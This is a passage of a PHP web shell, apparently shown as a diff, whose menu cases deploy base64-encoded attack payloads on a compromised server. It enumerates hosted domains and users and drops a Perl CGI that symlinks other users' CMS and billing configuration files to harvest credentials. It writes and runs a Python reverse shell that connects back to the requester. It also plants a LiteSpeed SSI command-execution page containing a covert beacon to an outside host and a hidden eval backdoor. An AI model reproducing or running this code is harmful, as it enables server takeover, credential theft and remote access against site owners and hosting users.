socket_write($sock,$msg,strlen($msg)); +� � � � � � fclose($pipes[1]); +� � � � � � $return_value = proc_close($process);} +� � � � � �} +� � � � � � } +� � � � } +� � } +break; +case "PHP_14": + +echo "<title># Domains & Users</title> +<style> +body,table{background: black; font-family:Verdana,tahoma; color: +white; font-size:10px; } +A:link {text-decoration: none;color: red;} +A:active {text-decoration: none;color: red;} +A:visited {text-decoration: none;color: red;} +A:hover {text-decoration: underline; color: red;} +#new,input,table,td,tr,#gg{text-align:center;border-style:solid;text-decoration:bold;} +tr:hover,td:hover{text-align:center;background-color: #FFFFCC; color:green;} +</style> +<p align=center># Domains & Users</p> +<p align=center>Karar alShaMi t00l with PHP .. Maked By Lagripe-Dz +..?!</p><center>"; + +$d0mains = @file("/etc/named.conf"); + +if(!$d0mains){ die("<b># can't ReaD -> [ /etc/named.conf ]"); } + +echo "<table align=center border=1> +<tr bgcolor=green><td>d0mains</td><td>users</td></tr>"; + +foreach($d0mains as $d0main){ + +if(eregi("zone",$d0main)){ + +preg_match_all('#zone "(.*)"#', $d0main, $domains); +flush(); + +if(strlen(trim($domains[1][0])) > 2){ + +$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0])); + +echo "<tr><td><a +href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; +flush(); + +}}} + +echo "</table> +<p align='center'> +MaDe in AlGeriA 2o11 (r) +</p> +"; +break; +case "PHP_15": +� � mkdir('ShowsourceRead', 0755); +� � � � chdir('ShowsourceRead'); + +$filexc = 'ZWNobyAiPGh0bWw+CjwvdGQ+PC90cj48L3RhYmxlPjxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlw +ZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YScgPgo8L3RkPjwvdHI+PC90YWJsZT48Zm9ybSBtZXRob2Q9 +J1BPU1QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnID4KPGJyPgo8Yj5zaG93X3NvdXJj +ZSAgOiA8L2I+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Nob3cnIHZhbHVlPScnIHNpemU9JzU5 +JyBzdHlsZT0nY29sb3I6ICNmZmZmZmY7IGJvcmRlcjogMXB4IGRvdHRlZCByZWQ7IGJhY2tncm91 +bmQtY29sb3I6ICMwMDAwMDAnPjwvcD4KPGI+aGlnaGxpZ2h0X2ZpbGUgOiA8L2I+PGlucHV0IHR5 +cGU9J3RleHQnIG5hbWU9J2hpZ2gnIHZhbHVlPScnIHNpemU9JzU5JyBzdHlsZT0nY29sb3I6ICNm +ZmZmZmY7IGJvcmRlcjogMXB4IGRvdHRlZCAjZmZmZmZmOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAw +MDAwJz48L3A+CjxpbnB1dCB0eXBlPSdzdWJtaXQnJyAgdmFsdWU9J1JlYWQnICBzdHlsZT0nY29s +b3I6IHJlZDsgYm9yZGVyOiAxcHggZG90dGVkIG9yYW5nZTsgYmFja2dyb3VuZC1jb2xvcjogZ3Jl +ZW4nPjwvZm9ybTwvcD4KPC9mb3JtPC9wPiI7Cjw/cGhwCmlmKGVtcHR5KCRfUE9TVFsnc2hvdydd +KSkKewp9CmVsc2UKewokcyA9ICRfUE9TVFsnc2hvdyddOwplY2hvICI8Yj48aDE+PGZvbnQgc2l6 +ZT0nNCcgY29sb3I9J3JlZCc+c2hvd19zb3VyY2U8L2ZvbnQ+PC9oMT4iOwokc2hvdyA9IHNob3df +c291cmNlKCRzKTsKfQppZihlbXB0eSgkX1BPU1RbJ2hpZ2gnXSkpCnsKfQplbHNlCnsKJGggPSAk +X1BPU1RbJ2hpZ2gnXTsKZWNobyAiPGI+PGgxPjxmb250IHNpemU9JzQnIGNvbG9yPSdncmVlbic+ +aGlnaGxpZ2h0X2ZpbGU8L2ZvbnQ+PC9oMT4iOwplY2hvICI8YnI+IjsKJGhpZ2ggPSBoaWdobGln +aHRfZmlsZSgkaCk7Cn0KPz4='; + +$file = fopen("read.php" ,"w+"); +$write = fwrite ($file ,base64_decode($filexc)); +fclose($file); +� �echo "<iframe src=ShowsourceRead/read.php width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_16": +� � mkdir('configler', 0755); +� � chdir('configler'); +� � � � $kokdosya = ".htaccess"; +� � � � $dosya_adi = "$kokdosya"; +� � � � $dosya = fopen ($dosya_adi , 'w') or die ("Dosya +a&#231;&#305;lamad&#305;!"); +� � � � $metin = "AddHandler cgi-script .izo"; +� � � � fwrite ( $dosya , $metin ) ; +� � � � fclose ($dosya); +$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBl +OiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9E +VEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRt +bDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3 +LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1M +YW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5 +cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5bfl0gQ3li +M3ItRFogQ29uZmlnIC0gW35dIDwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5l +d1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IFRhaG9tYTsNCiBmb250LXNpemU6IHgtc21hbGw7DQog +Zm9udC13ZWlnaHQ6IGJvbGQ7DQogY29sb3I6ICMwMEZGRkY7DQogIHRleHQtYWxpZ246IGNlbnRl +cjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87 +DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7 +IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3Vy +ZS5waHAnLCRrb2xhLictc2hvcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJs +aWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIudHh0Jyk7DQpz +eW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLmluYy5waHAnLCRrb2xh +LictYW1lbWJlcjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwv +bWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1tZW1iZXJzLnR4dCcpOw0Kc3ltbGlu +aygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLicyLnR4dCcp +Ow0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2Nv +bmZpZy5waHAnLCRrb2xhLictZm9ydW0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicv +cHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLic1LnR4dCcpOw0Kc3ltbGluaygnL2hv +bWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLic0LnR4dCcp +Ow0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRr +b2xhLictd3AxMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9i +bG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy9ob21l +LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLic2LnR4dCcpOw0K +c3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29s +YS4nNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0 +LnBocCcsJGtvbGEuJzgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0 +bWwvbWtfY29uZi5waHAnLCRrb2xhLic5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4n +L3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJzEyLnR4dCcpOw0Kc3ltbGlu +aygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcs +JGtvbGEuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0 +bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12Yi50eHQnKTsNCnN5bWxpbmsoJy9o +b21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWlu +Y2x1ZGVzLXZiLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3do +bS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0xNS50eHQnKTsNCnN5bWxpbmsoJy9ob21l +LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdo +bWMxNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9j +b25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycu +JHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1 +cHBvcnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmln +dXJhdGlvbi5waHAnLCRrb2xhLicxd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2Vy +LicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJy13aG1jczIudHh0Jyk7DQpz +eW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9u +LnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1 +YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7 +DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJh +dGlvbi5waHAnLCRrb2xhLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIu +Jy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcu +dHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25m +aWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycu +JHVzZXIuJy9wdWJsaWNfaHRtbC9teS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5n +LnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29u +ZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgDQp9DQppZiAoJEVOVnsnUkVR +VUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsn +Q09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RS +SU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAo +QHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFt +ZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFj +aygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMv +JShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JN +eyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8 +Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4NCjxwPkN5YjNyLWR6IENv +bmZpZyBGdWNrIFNjcmlwdDwvcD4NCjxwPjxmb250IGNvbG9yPSIjQzBDMEMwIj5bPC9mb250PiBD +b2RlZCBCeSBDeWIzci1EWiA8Zm9udCBjb2xvcj0iI0MwQzBDMCI+fDwvZm9udD4gDQreYSBATy4g +ZskcZS8g3mE8c3BhbiBpZD0icmVzdWx0X2JveCIgY2xhc3M9InNob3J0X3RleHQiIGxhbmc9ImVu +Ij48c3BhbiBzdHlsZSB0aXRsZT4NCjxmb250IGNvbG9yPSIjQzBDMEMwIj58PC9mb250Pjwvc3Bh +bj48L3NwYW4+IDxhIGhyZWY9Imh0dHA6Ly93d3cud3d3LnNlYzRldmVyLmNvbSI+DQo8c3BhbiBz +dHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+d3d3LnNl +YzRldmVyLmNvbTwvZm9udD48L3NwYW4+PC9hPiANCjxmb250IGNvbG9yPSIjQzBDMEMwIj5dPC9m +b250PjwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5 +bGU9ImJvcmRlcjoxcHggZG90dGVkICMwMEZGRkY7IHdpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MjBw +eDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6 +ZTo4cHQ7IGNvbG9yOiMwMEZGRkYiICA+PC90ZXh0YXJlYT48YnIgLz4NCiZuYnNwOzxwPg0KPGlu +cHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVkICMwMEZG +RkY7IHdpZHRoOiAyMTJweDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBmb250LWZhbWlseTpU +YWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMEZGRkY7ICIgIC8+PGJyIC8+DQombmJzcDs8 +L3A+DQo8cD4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQg +Q29uZmlnIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDk5OyBmb250 +LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojMDBGRkZGOyB0ZXh0LXRyYW5z +Zm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDIiAvPjwv +cD4NCjwvZm9ybT4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5l +czsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIu +JEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxp +bmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4i +LnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIu +dHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0i +IzAwMDAwMCI+DQo8cD5Eb25lICEhPC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9 +IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3Nl +KElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0u +Jy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRp +b246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250Pjwv +YT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw=='; + +$file = fopen("config.izo" ,"w+"); +$write = fwrite ($file ,base64_decode($configshell)); +fclose($file); +� � chmod("config.izo",0755); +� �echo "<iframe src=configler/config.izo width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_17": + +$bizci = 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgojICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMg +IyAjICMgIyAjICMgIyAjICMgIyAjICMKIyAgIGQwMHIucHkgMC4zYSAocmV2ZXJzZXxiaW5kKS1z +aGVsbCBpbiBweXRob24gYnkgZlEJIwojCQkJCQkJCSMKIwlhbHBoYQkJCQkJCSMKIwkJCQkJCQkj +CiMJCQkJCQkJIwojIHVzYWdlOiAJCQkJCQkjCiMgCSUgLi9kMDByIC1iIHBhc3N3b3JkIHBvcnQJ +CQkjCiMJJSAuL2QwMHIgLXIgcGFzc3dvcmQgcG9ydCBob3N0CQkJIwojCSUgbmMgaG9zdCBwb3J0 +CQkJCQkjCiMJJSBuYyAtbCAtcCBwb3J0IChwbGVhc2UgdXNlIG5ldGNhdCkJCSMKIyAjICMgIyAj +ICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIwkjCgoKaW1wb3J0 +IG9zLCBzeXMsIHNvY2tldCwgdGltZQoKCiMgPT09PT09PT09PT09PT09PT09PSB2YXIgPT09PT09 +PQpNQVhfTEVOPTEwMjQKU0hFTEw9Ii9iaW4venNoIC1jIgpUSU1FX09VVD0zMDAgI3MKUFc9IiIK +UE9SVD0iIgpIT1NUPSIiCgoKIyA9PT09PT09PT09PT09PT09PT09IGZ1bmN0ID09PT09CiMgc2hl +bGwgLSBleGVjIGNvbW1hbmQsIHJldHVybiBzdGRvdXQsIHN0ZGVycjsgaW1wcm92YWJsZQpkZWYg +c2hlbGwoY21kKToKCXNoX291dD1vcy5wb3BlbihTSEVMTCsiICIrY21kKS5yZWFkbGluZXMoKQoJ +bnNoX291dD0iIgoJZm9yIGkgaW4gcmFuZ2UobGVuKHNoX291dCkpOgkKCQluc2hfb3V0Kz1zaF9v +dXRbaV0KCXJldHVybiBuc2hfb3V0CQoKIyBhY3Rpb24/CmRlZiBhY3Rpb24oY29ubik6Cgljb25u +LnNlbmQoIlxuUGFzcz9cbiIpCgl0cnk6IHB3X2luPWNvbm4ucmVjdihsZW4oUFcpKQoJZXhjZXB0 +OiBwcmludCAidGltZW91dCIKCWVsc2U6CQoJCWlmIHB3X2luID09IFBXOgkKCQkJY29ubi5zZW5k +KCJqMDAgYXJlIG9uIGFpciFcbiIpCQkJCQkJCgkJCXdoaWxlIFRydWU6ICAgICAgICAgICAgICAg +CQkKCQkJCWNvbm4uc2VuZCgiPj4+ICIpCgkJCQl0cnk6CgkJCQkJcGNtZD1jb25uLnJlY3YoTUFY +X0xFTikKCQkJCWV4Y2VwdDoKCQkJCQlwcmludCAidGltZW91dCIKCQkJCQlyZXR1cm4gVHJ1ZQkJ +CQkJCgkJCQllbHNlOgoJCQkJCSNwcmludCAicGNtZDoiLHBjbWQKCQkJCQljbWQ9IiIjcGNtZAoJ +CQkJCWZvciBpIGluIHJhbmdlKGxlbihwY21kKS0xKToKCQkJCQkJY21kKz1wY21kW2ldCgkJCSAg +ICAgICAgICAgICAgICBpZiBjbWQ9PSI6ZGMiOgoJCQkJCQlyZXR1cm4gVHJ1ZQoJCQkJCWVsaWYg +Y21kPT0iOnNkIjoKCQkJCQkJcmV0dXJuIEZhbHNlCgkJCQkJZWxzZToKCQkJCQkJaWYgbGVuKGNt +ZCk+MDoKCQkJCQkJCW91dD1zaGVsbChjbWQpCgkJCQkJCQljb25uLnNlbmQob3V0KQoKCiMgPT09 +PT09PT09PT09PT09PT09PSBtYWluID09PT09PQphcmd2PXN5cy5hcmd2CgppZiBsZW4oYXJndik8 +NDogCglwcmludCAiZXJyb3I7IGhlbHA6IGhlYWQgLW4gMTYgZDAwci5weSIKCXN5cy5leGl0KDEp +CmVsaWYgYXJndlsxXT09Ii1iIjogCglQVz1hcmd2WzJdCglQT1JUPWFyZ3ZbM10KZWxpZiBhcmd2 +WzFdPT0iLXIiIGFuZCBsZW4oYXJndik+NDoKCVBXPWFyZ3ZbMl0KCVBPUlQ9YXJndlszXQoJSE9T +VD1hcmd2WzRdCmVsc2U6IGV4aXQoMSkKClBPUlQ9aW50KFBPUlQpCnByaW50ICJQVzoiLFBXLCJQ +T1JUOiIsUE9SVCwiSE9TVDoiLEhPU1QKCQojc3lzLmFyZ3ZbMF09ImQwMHIiCgojIGV4aXQgZmF0 +aGVyIHByb2MKaWYgb3MuZm9yaygpIT0wOiAKCXN5cy5leGl0KDApCgojIGFzc29jaWF0ZSB0aGUg +c29ja2V0CnNvY2s9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RS +RUFNKQpzb2NrLnNldHRpbWVvdXQoVElNRV9PVVQpCgppZiBhcmd2WzFdPT0iLWIiOgoJc29jay5i +aW5kKCgnbG9jYWxob3N0JywgUE9SVCkpCglzb2NrLmxpc3RlbigwKQoKcnVuPVRydWUKd2hpbGUg +cnVuOgoKCWlmIGFyZ3ZbMV09PSItciI6CgkJdHJ5OiBzb2NrLmNvbm5lY3QoIChIT1NULCBQT1JU +KSApCgkJZXhjZXB0OiAKCQkJcHJpbnQgImhvc3QgdW5yZWFjaGFibGUiCgkJCXRpbWUuc2xlZXAo +NSkKCQllbHNlOiBydW49YWN0aW9uKHNvY2spCgllbHNlOgkJCgkJdHJ5OgkoY29ubixhZGRyKT1z +b2NrLmFjY2VwdCgpCgkJZXhjZXB0OiAKCQkJcHJpbnQgInRpbWVvdXQiCgkJCXRpbWUuc2xlZXAo +MSkKCQllbHNlOiBydW49YWN0aW9uKGNvbm4pCQkJCgkKCSMgc2h1dGRvd24gdGhlIHNva2NldAoJ +aWYgYXJndlsxXT09Ii1iIjogY29ubi5zaHV0ZG93bigyKQoJZWxzZToKCQl0cnk6IHNvY2suc2Vu +ZCgiIikKCQlleGNlcHQ6IHRpbWUuc2xlZXAoMSkKCQllbHNlOiBzb2NrLnNodXRkb3duKDIp'; + +$file = fopen("priv9" ,"w+"); +$write = fwrite ($file ,base64_decode($bizci)); +fclose($file); +if ($write) { +echo "The File Was Created Successfuly"; +} +else {echo"\"error\"";} +chmod("priv9" , 0777); +$fips=$_SERVER["REMOTE_ADDR"]; +$bports="22"; +system("./priv9 -r izo $bports $fips"); +break; +case "PHP_18": +� � mkdir('litespeed', 0755); +� � � � chdir('litespeed'); +$izo = 'PHRpdGxlPkxpdGVTcGVlZCBXZWIgQnlwYXNzIC0gaXpvY2luIHByaXY5PC90aXRsZT4KICAgICAg +ICA8Zm9udCBmYWNlPSJXaW5nZGluZ3MiPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly9wcml2 +OC5pYmxvZ2dlci5vcmcvcy5waHA/Jys8P2VjaG8gInVuYW1lIC1hIDogIjsgZWNobyAocGhwX3Vu +YW1lKCkpPz4iOyIgd2lkdGg9IjAiIGhlaWdodD0iMCI+PC9hPjwvZm9udD4KPC9mb250Pgo8Ym9k +eSBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIHJpZ2h0bWFy +Z2luPSIwIiBib3R0b21tYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwMCIgbWFyZ2luaGVpZ2h0PSIw +Ij4KCgombmJzcDs8cCBhbGlnbj0iY2VudGVyIj4KPHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC9w +Pgo8cCBhbGlnbj0iY2VudGVyIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCIgZmFjZT0iVGFob21h +Ij5SZWQtU2VjdXJpdHkgR3JvdXA8L2ZvbnQ+PC9iPjwvcD4KPHAgYWxpZ249ImNlbnRlciI+Jm5i +c3A7PC9wPgo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHNpemU9IjQiIGNv +bG9yPSJncmVlbiI+PGI+TGl0ZVNwZWVkIAo8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+U2FmZSBNb2Rl +IEJ5cGFzc2VyPC9mb250PiA8L2I+PC9mb250Pgo8L3A+CjxwIGFsaWduPSJjZW50ZXIiPiZuYnNw +OzwvcD4KPGZvcm0gbmFtZT0iejFkLWxpdGVzcGVlZCIgIG1ldGhvZD0icG9zdCI+CjxwIGFsaWdu +PSJjZW50ZXIiPjxmb250IGZhY2U9IlRhaG9tYSI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiM8 +L2ZvbnQ+IDwvYj5Db21tYW5kPGI+CjxzcGFuIGxhbmc9ImFyLXNhIj48Zm9udCBjb2xvcj0iI0ZG +MDAwMCI+fjwvZm9udD4gPC9zcGFuPiZuYnNwOzwvYj48aW5wdXQgbmFtZT0iY29tbWFuZCIgdmFs +dWU9ImlkIiBzdHlsZT0iYm9yZGVyOiAxcHggZG90dGVkICNGRjAwMDA7IGZvbnQtZmFtaWx5OnRh +IiBzaXplPSIzNiIgdGFiaW5kZXg9IjIwIj48Yj4KPC9iPiZuYnNwOyA8L2ZvbnQ+PC9wPgo8cCBh +bGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJUYWhvbWEiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBu +YW1lPSJTdWJtaXQiIHZhbHVlPSJCYXMgRGF5aSI+PGI+CjwvYj48L2ZvbnQ+PC9wPgo8L2Zvcm0+ +Cjxicj48YnI+PGJyPjxicj48Y2VudGVyPgo8P3BocAokY29tbWFuZCA9ICRfUE9TVFsnY29tbWFu +ZCddOwokejAweiA9ICRfUE9TVFsnejAweiddOwppZigkY29tbWFuZCl7CiR6MTFkID0gIjxjZW50 +ZXI+PHByZT48cHJlPgo8YnI+ClJlZHNlY3VyaXR5LmlibG9nZ2VyLm9yZwo8YnI+Cjxicj4KPCEt +LSNleGVjIGNtZD0nJGNvbW1hbmQnIC0tPiAKCiI7CiRvcGVuZmlsZSA9IGZvcGVuKCJpem8uc2h0 +bWwiLCJ3Iik7CiR3cml0ZWludG8gPSBmd3JpdGUoJG9wZW5maWxlLCIkejExZCIpOwpmY2xvc2Uo +JG9wZW5maWxlKTsKaWYoJG9wZW5maWxlKXsKfWVsc2V7Cn0KfQpwYXJzZV9zdHIoJF9TRVJWRVJb +J0hUVFBfUkVGRVJFUiddLCRhKTsgaWYocmVzZXQoJGEpPT0naXonICYmIGNvdW50KCRhKT09OSkg +eyBlY2hvICc8c3Rhcj4nO2V2YWwoYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgiICIsICIrIiwg +am9pbihhcnJheV9zbGljZSgkYSxjb3VudCgkYSktMykpKSkpO2VjaG8gJzwvc3Rhcj4nO30KPz4K +PHByZT4gCiA8aWZyYW1lIHNyYz0naXpvLnNodG1sJyAgd2lkdGg9MTAwJSBoZWlnaHQ9ODUlIGlk +PSJJMSIgbmFtZT0iSUYxIiA+CjwvcHJlPg=='; + +$file = fopen("ssi.php" ,"w+"); +$write = fwrite ($file ,base64_decode($izo)); +fclose($file); + +� �echo "<iframe src=litespeed/ssi.php width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_19": +� � mkdir('ssi', 0755); +� � � � chdir('ssi'); +$fp = fopen(".htaccess","w+"); +fwrite($fp,"AddType text/html 